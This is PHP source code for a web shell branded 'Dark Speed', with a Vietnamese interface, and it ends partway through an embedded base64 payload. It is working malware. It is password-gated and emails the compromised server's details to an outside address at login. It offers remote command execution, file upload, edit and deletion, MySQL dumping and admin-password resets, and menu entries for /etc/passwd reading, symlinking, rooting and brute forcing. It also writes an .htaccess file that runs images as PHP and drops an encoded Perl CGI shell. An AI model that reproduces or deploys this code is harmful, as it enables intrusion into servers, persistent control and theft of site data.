$_value) { if ($_key{0}!= '_') { if (IS_GPC) { $_value = s_array($_value); } $$_key = $_value; } } } $admin = array(); $admin['check'] = true; $admin['pass'] = 'Dark Speed'; $admin['cookiepre'] = ''; $admin['cookiedomain'] = ''; $admin['cookiepath'] = '/'; $admin['cookielife'] = 86400; if ($charset == 'utf8') { header("content-Type: text/html; charset=utf-8"); }elseif ($charset == 'big5') { header("content-Type: text/html; charset=big5"); }elseif ($charset == 'gbk') { header("content-Type: text/html; charset=gbk"); }elseif ($charset == 'latin1') { header("content-Type: text/html; charset=iso-8859-2"); } $self = $_SERVER['PHP_SELF'] ?$_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $timestamp = time(); if ($action == "logout") { scookie('kymljnk','',-86400 * 365); p(''); p(''); exit; } if($admin['check']) { if ($doing == 'login') { if ($admin['pass'] == $password) { scookie('kymljnk',$password); $time_shell = "".date("d/m/Y - H:i:s").""; $ip_remote = $_SERVER["REMOTE_ADDR"]; $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).''; $to_email = 'admin@dark-speed.com'; $server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST'].""; $linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell"; $header = "From: $from_shellcode\r\nReply-to: $from_shellcode"; @mail($to_email,$server_mail,$linkcr,$header); p(''); p('

Chào các bạn những thành viên của >| Dark Speed |< Loading....
'); exit; } else { $err_mess = '
Chào Hacker Có Vẻ bạn Không Phải Là Thành Viên CủDark Speed. Đừng Cố Gắng Đăng Nhập
'; echo $err_mess; }} if ($_COOKIE['kymljnk']) { if ($_COOKIE['kymljnk'] != $admin['pass']) { loginpage(); } }else { loginpage(); } } $errmsg = ''; if ($action == 'phpinfo') { if (IS_PHPINFO) { phpinfo(); }else { $errmsg = 'phpinfo() function has non-permissible'; } } if ($doing == 'downfile'&&$thefile) { if (!@file_exists($thefile)) { $errmsg = 'The file you want Downloadable was nonexistent'; }else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header('Content-Length: '.filesize($thefile)); @readfile($thefile); exit; } } if ($doing == 'backupmysql'&&!$saveasfile) { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); $result = q("SHOW tables"); if (!$result) p('

'.mysql_error().'

'); $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); header('Content-type: application/unknown'); header('Content-Disposition: attachment; filename='.$filename); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { $mysqldata .= sqldumptable($currow[0]); } } mysql_close(); exit; } if($doing=='mysqldown'){ if (!$dbname) { $errmsg = ' dbname'; }else { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); if (!file_exists($mysqldlfile)) { $errmsg = 'The file you want Downloadable was nonexistent'; }else { $result = q("select load_file('$mysqldlfile');"); if(!$result){ q("DROP TABLE IF EXISTS tmp_angel;"); q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); $result = q("select content from tmp_angel"); q("DROP TABLE tmp_angel"); } $row = @mysql_fetch_array($result); if (!$row) { $errmsg = 'Load file failed '.mysql_error(); }else { $fileinfo = pathinfo($mysqldlfile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header("Accept-Length: ".strlen($row[0])); echo $row[0]; exit; } } } } ;echo ' ';echo "Website : ".$_SERVER['HTTP_HOST']."";;echo ' | ';echo "IP : ".gethostbyname($_SERVER['SERVER_NAME'])."";;echo '
Dark Speed

';echo "Hostname: ".$_SERVER['HTTP_HOST']."";;echo ' | Server IP: ';echo "".gethostbyname($_SERVER['SERVER_NAME'])."";;echo ' | Your IP: ';echo "".$_SERVER['REMOTE_ADDR']."";;echo ' | ';echo str_replace('.','','Dark Speed profile');;echo ' | Đăng Xuất
'; $curl_on = @function_exists('curl_version'); $mysql_on = @function_exists('mysql_connect'); $mssql_on = @function_exists('mssql_connect'); $pg_on = @function_exists('pg_connect'); $ora_on = @function_exists('ocilogon'); echo (($safe_mode)?("Safe_mod: ON - "):("Safe_mod: OFF - ")); echo "PHP version: ".@phpversion()." - "; echo "cURL: ".(($curl_on)?("ON - "):("OFF - ")); echo "MySQL: "; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "ON - ";}else {echo "OFF - ";} echo "MSSQL: "; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "ON - ";}else{echo "OFF - ";} echo "PostgreSQL: "; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "ON - ";}else{echo "OFF - ";} echo "Oracle: "; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "ON";}else{echo "OFF
";} echo "Disable functions : "; if(''==($df=@ini_get('disable_functions'))){echo "NONE
";}else{echo "$df
";} echo "Uname -a: ".@substr(@php_uname(),0,120)."
"; echo "Server: ".@substr($SERVER_SOFTWARE,0,120)." - id: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")
"; ;echo '
Manager | Jump | SQL | Leech '; if (!IS_WIN) {;echo ' | Dumper';} ;echo ' | Md5' ;echo ' | Crack'; if (!IS_WIN) {;echo ' | /etc/passwd ';} ;echo ' '; if (!IS_WIN) {;echo ' | Symlink ';} ;echo ' '; if (!IS_WIN) {;echo ' | Command ';} ;echo ' '; if (!IS_WIN) {;echo ' | Cgi';} ;echo ' '; if (!IS_WIN) {;echo ' | Open Cgi';} ;echo ' '; if (!IS_WIN) {;echo ' | Root';} ;echo ' '; if (!IS_WIN) {;echo ' | Open Root';} ;echo ' '; if (!IS_WIN) {;echo ' | By Pass';} ;echo ' '; if (!IS_WIN) {;echo ' | Spam';} ;echo ' '; if (!IS_WIN) {;echo ' | Back';} ;echo ' '; if (!IS_WIN) {;echo ' | Brute ';} ;echo ' '; if (!IS_WIN) {;echo ' | CM ';} ;echo ' '; if (!IS_WIN) {;echo ' | Dark Tool';} echo ' '; if (!IS_WIN) {;echo ' | Scan-Shell';} echo ' '; if (!IS_WIN) {;echo ' | backphp.php';} echo ' '; if (!IS_WIN) {;echo ' | index Dark';} ;echo '
'); p(''); $dirdata=array(); $filedata=array(); if ($view_writable) { $dirdata = GetList($nowpath); }else { $dirs=@opendir($dir); while ($file=@readdir($dirs)) { $filepath=$nowpath.$file; if(@is_dir($filepath)){ $dirdb['filename']=$file; $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $dirdb['dirchmod']=getChmod($filepath); $dirdb['dirperm']=getPerms($filepath); $dirdb['fileowner']=getUser($filepath); $dirdb['dirlink']=$nowpath; $dirdb['server_link']=$filepath; $dirdb['client_link']=ue($filepath); $dirdata[]=$dirdb; }else { $filedb['filename']=$file; $filedb['size']=sizecount(@filesize($filepath)); $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $filedb['filechmod']=getChmod($filepath); $filedb['fileperm']=getPerms($filepath); $filedb['fileowner']=getUser($filepath); $filedb['dirlink']=$nowpath; $filedb['server_link']=$filepath; $filedb['client_link']=ue($filepath); $filedata[]=$filedb; } } unset($dirdb); unset($filedb); @closedir($dirs); } @sort($dirdata); @sort($filedata); $dir_i = '0'; foreach($dirdata as $key =>$dirdb){ if($dirdb['filename']!='..'&&$dirdb['filename']!='.') { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); $dir_i++; }else { if($dirdb['filename']=='..') { p(''); p(''); p(''); } } } p(''); p(''); makehide('action','file'); makehide('thefile'); makehide('doing'); makehide('dir',$nowpath); $file_i = '0'; foreach($filedata as $key =>$filedb){ if($filedb['filename']!='..'&&$filedb['filename']!='.') { $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']); $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); $file_i++; } } p(''); p('
'; formhead(array('name'=>'goaction')); makehide('action'); formfoot(); $errmsg &&m($errmsg); !$dir &&$dir = '.'; $nowpath = getPath(SA_ROOT,$dir); if (substr($dir,-1) != '/') { $dir = $dir.'/'; } $uedir = ue($dir); if (!$action ||$action == 'file') { $dir_writeable = @is_writable($nowpath) ?'Writable': 'Non-writable'; if ($doing == 'deldir'&&$thefile) { if (!file_exists($thefile)) { m($thefile.' directory does not exist'); }else { m('Xóa Thư mục '.(deltree($thefile) ?basename($thefile).' Thành Công': ' Thất Bại')); } } elseif ($newdirname) { $mkdirs = $nowpath.$newdirname; if (file_exists($mkdirs)) { m('Directory has already existed'); }else { m('Tạo Thư Mục '.(@mkdir($mkdirs,0777) ?'Thành Công': 'Thất Bại')); @chmod($mkdirs,0777); } } elseif ($doupfile) { m('Tải File Lên '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ?'Thành Công': 'Thất Bại')); } elseif ($editfilename &&$filecontent) { $fp = @fopen($editfilename,'w'); m('Tạo File '.(@fwrite($fp,$filecontent) ?'Thành Công': 'Thất Bại')); @fclose($fp); } elseif ($pfile &&$newperm) { if (!file_exists($pfile)) { m('Các Tệp Tin Gốc Không tồn Tại'); }else { $newperm = base_convert($newperm,8,10); m('Thay Đổi Thuộc Tính Tệp Tin '.(@chmod($pfile,$newperm) ?' Thành Công': ' Thất Bại')); } } elseif ($oldname &&$newfilename) { $nname = $nowpath.$newfilename; if (file_exists($nname) ||!file_exists($oldname)) { m($nname.'Các Tệp Tin Mục Tiêu Đã Tồn Tại Hoặc Không Tồn Tại Tệp Tin Gốc'); }else { m(basename($oldname).' Đổi Tên Thành '.basename($nname).(@rename($oldname,$nname) ?' Thành Công': ' Thất Bại')); } } elseif ($sname &&$tofile) { if (file_exists($tofile) ||!file_exists($sname)) { m('The goal file has already existed or original file does not exist'); }else { m(basename($tofile).' Sao Chép '.(@copy($sname,$tofile) ?basename($tofile).' success': 'failed')); } } elseif ($curfile &&$tarfile) { if (!@file_exists($curfile) ||!@file_exists($tarfile)) { m('Các Tệp Tin Mục Tiêu Đã Tồn Tại Hoặc Không Tồn Tại Tệp Tin Gốc'); }else { $time = @filemtime($tarfile); m('Sử Đổi Tệp Tin, Sửa Đổi Cuối Cùng '.(@touch($curfile,$time,$time) ?'Thành Công': 'Thất Bại')); } } elseif ($curfile &&$year &&$month &&$day &&$hour &&$minute &&$second) { if (!@file_exists($curfile)) { m(basename($curfile).' Không Tồn Tại'); }else { $time = strtotime("$year-$month-$day $hour:$minute:$second"); m('Sửa Đổi Tệp Tin Cuối Cùng '.(@touch($curfile,$time,$time) ?' Thành Công': 'Thất Bại')); } } elseif($doing == 'downrar') { if ($dl) { $dfiles=''; foreach ($dl as $filepath =>$value) { $dfiles.=$filepath.','; } $dfiles=substr($dfiles,0,strlen($dfiles)-1); $dl=explode(',',$dfiles); $zip=new PHPZip($dl); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); echo $code; exit; }else { m('Please select file(s)'); } } elseif($doing == 'delfiles') { if ($dl) { $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath =>$value) { if (@unlink($filepath)) { $succ++; }else { $fail++; } } m('Xóa Thành Công '.$succ.' File, Thất Bại '.$fail); }else { m('Please select file(s)'); } } formhead(array('name'=>'createdir')); makehide('newdirname'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileperm')); makehide('newperm'); makehide('pfile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'copyfile')); makehide('sname'); makehide('tofile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'rename')); makehide('oldname'); makehide('newfilename'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileopform')); makehide('action'); makehide('opfile'); makehide('dir'); formfoot(); $free = @disk_free_space($nowpath); !$free &&$free = 0; $all = @disk_total_space($nowpath); !$all &&$all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free),2); p('Dung Lượng Của Host Dung Lượng Đã Dùng '.sizecount($free).' Trong Tổng '.sizecount($all).' ('.$used_percent.'%)'); ;echo '
Đường Dẫn Hiện Tại (';echo $dir_writeable;;echo ', ';echo getChmod($nowpath);;echo ')
'; tbhead(); p('
'); p('
'); p('Lên Đầu'); if ($view_writable) { p(' | Hiện Tất Cả'); }else { p(' | Chỉ Hiện Thư Mục'); } p(' | Tạo Thư Mục | Tạo File'); if (IS_WIN &&IS_COM) { $obj = new COM('scripting.filesystemobject'); if ($obj &&is_object($obj)) { $DriveTypeDB = array(0 =>'Unknow',1 =>'Removable',2 =>'Fixed',3 =>'Network',4 =>'CDRom',5 =>'RAM Disk'); foreach($obj->Drives as $drive) { if ($drive->DriveType == 2) { p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); }else { p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); } } } } p('
 Tên FileLần Sửa Cuối CùngKick ThướcChmod / PermsCài Đặt
1'.$dirdb['filename'].''.$dirdb['mtime'].'DarkSpeed'); p(''.$dirdb['dirchmod'].' / '); p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'xóa Thư Mục | Đổi Tên Thư Mục
=Lên Trên
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); p(''.$filedb['filechmod'].' / '); p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); p('Tải Xuống | '); p('Sao Chép | '); p('Chỉnh Sửa | '); p('Đổi Tên | '); p('Thời Gian'); p('
Tải Xuống - Xóa File '.$dir_i.' Thư Mục / '.$file_i.' Files
'); } ;echo ' '; if ($action == 'sqladmin') { !$dbhost &&$dbhost = 'localhost'; !$dbuser &&$dbuser = 'HandS Team'; !$dbport &&$dbport = '3306'; $dbform = ''; if(isset($dbhost)){ $dbform .= "\n"; } if(isset($dbuser)) { $dbform .= "\n"; } if(isset($dbpass)) { $dbform .= "\n"; } if(isset($dbport)) { $dbform .= "\n"; } if(isset($dbname)) { $dbform .= "\n"; } if(isset($charset)) { $dbform .= "\n"; } if ($doing == 'backupmysql'&&$saveasfile) { if (!$table) { m('Please choose the table'); }else { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); $fp = @fopen($path,'w'); if ($fp) { $result = q('SHOW tables'); if (!$result) p('

'.mysql_error().'

'); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0],$fp); } } fclose($fp); $fileurl = str_replace(SA_ROOT,'',$path); m('Database has success backup to '.$path.''); mysql_close(); }else { m('Backup failed'); } } } if ($insert &&$insertsql) { $keystr = $valstr = $tmp = ''; foreach($insertsql as $key =>$val) { if ($val) { $keystr .= $tmp.$key; $valstr .= $tmp."'".addslashes($val)."'"; $tmp = ','; } } if ($keystr &&$valstr) { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ?'Insert new record of success': mysql_error()); } } if ($update &&$insertsql &&$base64) { $valstr = $tmp = ''; foreach($insertsql as $key =>$val) { $valstr .= $tmp.$key."='".addslashes($val)."'"; $tmp = ','; } if ($valstr) { $where = base64_decode($base64); dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ?'Record updating': mysql_error()); } } if ($doing == 'del'&&$base64) { $where = base64_decode($base64); $delete_sql = "DELETE FROM $tablename WHERE $where"; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("DELETE FROM $tablename WHERE $where") ?'Deletion record of success': mysql_error()); } if ($tablename &&$doing == 'drop') { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); if (q("DROP TABLE $tablename")) { m('Drop table of success'); $tablename = ''; }else { m(mysql_error()); } } $charsets = array(''=>'Default','gbk'=>'GBK','big5'=>'Big5','utf8'=>'UTF-8','latin1'=>'Latin1'); formhead(array('title'=>'MYSQL Quản Lý ')); makehide('action','sqladmin'); p('

'); p('DBHost:'); makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:'); makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBCharset:'); makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); p('

'); formfoot(); ;echo ' '; formhead(array('name'=>'recordlist')); makehide('doing'); makehide('action','sqladmin'); makehide('base64'); makehide('tablename'); p($dbform); formfoot(); formhead(array('name'=>'setdbname')); makehide('action','sqladmin'); p($dbform); if (!$dbname) { makehide('dbname'); } formfoot(); formhead(array('name'=>'settable')); makehide('action','sqladmin'); p($dbform); makehide('tablename'); makehide('page',$page); makehide('doing'); formfoot(); $cachetables = array(); $pagenum = 30; $page = intval($page); if($page) { $start_limit = ($page -1) * $pagenum; }else { $start_limit = 0; $page = 1; } if (isset($dbhost) &&isset($dbuser) &&isset($dbpass) &&isset($connect)) { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $mysqlver = mysql_get_server_info(); p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); $highver = $mysqlver >'4.1'?1 : 0; $query = q("SHOW DATABASES"); $dbs = array(); $dbs[] = 'Chọn Một Cơ Sở Dữ Liệu'; while($db = mysql_fetch_array($query)) { $dbs[$db['Database']] = $db['Database']; } makeselect(array('title'=>'Hãy Chọn Một Cơ Sở Dữ Liệu','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); $tabledb = array(); if ($dbname) { p('

'); p('Dababase Hiện Tại: '.$dbname.''); if ($tablename) { p(' | Table Hiện Tại: '.$tablename.' [ Insert | Structure | Drop ]'); } p('

'); mysql_select_db($dbname); $getnumsql = ''; $runquery = 0; if ($sql_query) { $runquery = 1; } $allowedit = 0; if ($tablename &&!$sql_query) { $sql_query = "SELECT * FROM $tablename"; $getnumsql = $sql_query; $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; $allowedit = 1; } p('
'); p('

Chạy Truy Vấn Sql/Trên Cơ Sở Dữ Liệu '.$dbname.':
Vũ Dụ Mật Khẩu VBB Marion001
UPDATE `user` SET `password` = \'20ec508bb4a6c454615f3414f6b47376\', salt = \'p5T\' WHERE `userid` = \'1\'

'); makehide('tablename',$tablename); makehide('action','sqladmin'); p($dbform); p('
'); if ($tablename ||($runquery &&$sql_query)) { if ($doing == 'structure') { $result = q("SHOW COLUMNS FROM $tablename"); $rowdb = array(); while($row = mysql_fetch_array($result)) { $rowdb[] = $row; } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); foreach ($rowdb as $row) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); } tbfoot(); }elseif ($doing == 'insert'||$doing == 'edit') { $result = q('SHOW COLUMNS FROM '.$tablename); while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } $rs = array(); if ($doing == 'insert') { p('

Insert new line in '.$tablename.' table »

'); }else { p('

Update record in '.$tablename.' table »

'); $where = base64_decode($base64); $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); $rs = mysql_fetch_array($result); } p(''); p($dbform); makehide('action','sqladmin'); makehide('tablename',$tablename); p('
FieldTypeNullKeyDefaultExtra
'.$row['Field'].''.$row['Type'].''.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' 
'); foreach ($rowdb as $row) { if ($rs[$row['Field']]) { $value = htmlspecialchars($rs[$row['Field']]); }else { $value = ''; } $thisbg = bg(); p(''); p(''); } if ($doing == 'insert') { p(''); }else { p(''); makehide('base64',$base64); } p('
'.$row['Field'].'
'.$row['Type'].'
'); }else { $querys = @explode(';',$sql_query); foreach($querys as $num=>$query) { if ($query) { p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); switch(qy($query)) { case 0: p('

Error : '.mysql_error().'

'); break; case 1: if (strtolower(substr($query,0,13)) == 'select * from') { $allowedit = 1; } if ($getnumsql) { $tatol = mysql_num_rows(q($getnumsql)); $multipage = multi($tatol,$pagenum,$page,$tablename); } if (!$tablename) { $sql_line = str_replace(array("\r","\n","\t"),array(' ',' ',' '),trim(htmlspecialchars($query))); $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i"," ",$sql_line); preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); $tablename = $matches[1][0]; } $result = q($query); p($multipage); p(''); p(''); if ($allowedit) p(''); $fieldnum = @mysql_num_fields($result); for($i=0;$i<$fieldnum;$i++){ $name = @mysql_field_name($result,$i); $type = @mysql_field_type($result,$i); $len = @mysql_field_len($result,$i); p(""); } p(''); while($mn = @mysql_fetch_assoc($result)){ $thisbg = bg(); p(''); $where = $tmp = $b1 = ''; foreach($mn as $key=>$inside){ if ($inside) { $where .= $tmp.$key."='".addslashes($inside)."'"; $tmp = ' AND '; } $b1 .= ''; } $where = base64_encode($where); if ($allowedit) p(''); p($b1); p(''); unset($b1); } tbfoot(); p($multipage); break; case 2: $ar = mysql_affected_rows(); p('

affected rows : '.$ar.'

'); break; } } } } }else { $query = q("SHOW TABLE STATUS"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = mysql_fetch_array($query)) { $data_size = $data_size +$table['Data_length']; $table_rows = $table_rows +$table['Rows']; $table['Data_length'] = sizecount($table['Data_length']); $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); p('
Chỉnh Sửa$name
$type($len)
'.html_clean($inside).' Sửa | Xóa
'); p(''); makehide('action','sqladmin'); p($dbform); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); foreach ($tabledb as $key =>$table) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(""); makehide('doing','backupmysql'); formfoot(); p("
NameRowsData_lengthCreate_timeUpdate_timeEngineCollation
'.$table['Name'].' [ Insert | Structure | Drop ]'.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].''.$table['Update_time'].''.$table['Engine'].''.$table['Collation'].'
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Tải Xuống File
"); fr($query); } } } tbfoot(); @mysql_close(); } elseif ($action == 'etcpwd') { formhead(array('title'=>'Get /etc/passwd')); makehide('action','etcpwd'); makehide('dir',$nowpath); $i = 0; echo "


"; formfoot(); } elseif ($action == 'command') { if (IS_WIN &&IS_COM) { if($program &&$parameter) { $shell= new COM('Shell.Application'); $a = $shell->ShellExecute($program,$parameter); m('Program run has '.(!$a ?'success': 'fail')); } !$program &&$program = 'c:\windows\system32\cmd.exe'; !$parameter &&$parameter = '/c net start > '.SA_ROOT.'log.txt'; formhead(array('title'=>'Execute Program')); makehide('action','shell'); makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); p('

'); makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); } formhead(array('title'=>'Execute Command')); makehide('action','shell'); if (IS_WIN &&IS_COM) { $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); } p('

'); makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); if ($command) { p('
');
if ($execfunc=='wscript'&&IS_WIN &&IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}elseif ($execfunc=='proc_open'&&IS_WIN &&IS_COM) {
$descriptorspec = array(
0 =>array('pipe','r'),
1 =>array('pipe','w'),
2 =>array('pipe','w')
);
$process = proc_open($_SERVER['COMSPEC'],$descriptorspec,$pipes);
if (is_resource($process)) {
fwrite($pipes[0],$command."\r\n");
fwrite($pipes[0],"exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1],1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2],1024);
}
fclose($pipes[2]);
proc_close($process);
}
}else {
echo(execute($command));
}
p('
'); } } elseif ($action == 'error.log') { mkdir('error',0755); chdir('error'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen ($dosya_adi ,'w') or die ("Can not open file!"); $metin = "Options +FollowSymLinks +Indexes DirectoryIndex default.html ## START ## Options +ExecCGI AddHandler cgi-script log cgi pl tg love h4 tgb x-zone AddType application/x-httpd-php .jpg RewriteEngine on RewriteRule (.*)\.war$ .log ## END ##"; fwrite ( $dosya ,$metin ) ; fclose ($dosya); $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+SGFuZFMgVGVhbTwvZm9udD4iOwokUGFzc3dvcmQgPSAiSGFuZFNUZWFtIjsJCQkKc3ViIElzX1dpbigpewokb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCiROVENtZFNlcCA9ICImIjsJCQkKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CiRTaG93RHluYW1pY091dHB1dCA9IDE7CiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFsk